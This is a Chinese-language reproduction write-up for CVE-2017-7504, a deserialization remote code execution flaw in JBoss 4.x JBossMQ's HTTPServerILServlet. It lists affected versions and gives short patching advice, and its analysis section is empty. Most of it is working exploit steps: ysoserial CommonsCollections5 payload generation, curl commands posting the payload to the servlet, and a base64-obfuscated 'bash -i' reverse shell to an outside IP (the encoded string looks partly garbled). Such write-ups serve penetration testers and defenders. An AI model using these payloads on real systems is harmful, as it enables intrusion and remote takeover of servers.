CVE-2017-7504(Jboss4.x JBossMQ JMS远程代码执行)
1. 漏洞描述
JbossMQ
实现过程的JMS over HTTP Invocation Layer
的HTTPServerILServlet.java
文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
2. 影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
3. 漏洞复现
3.1 生成DNSLog序列化数据
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet
请求中,我们借助ysoserial
的CommonsCollections5
利用链来复现。生成Payload:
1 | java -jar ysoserial-all.jar CommonsCollections5 "ping 4uadxk.dnslog.cn" > poc.ser |
3.2 发送DNSLog序列化数据
使用curl
命令向/jbossmq-httpil/HTTPServerILServlet
发送携带序列化数据的POST
数据包
1 | curl http://(ip):8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser |
3.3 发送反弹Shell序列化数据
1 | java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,kJiAtaKB8+JiAvZGV2jcC8xMDEuNDIuMTc4LjE3NS92F7jY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser |
3.4 发送反弹Shell序列化数据
1 | curl http://(ip):8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser |
4. 漏洞分析
…
5. 修复建议
- 升级jboss为高版本
- 删除
/jbossmq-httpil/HTTPServerILServlet
接口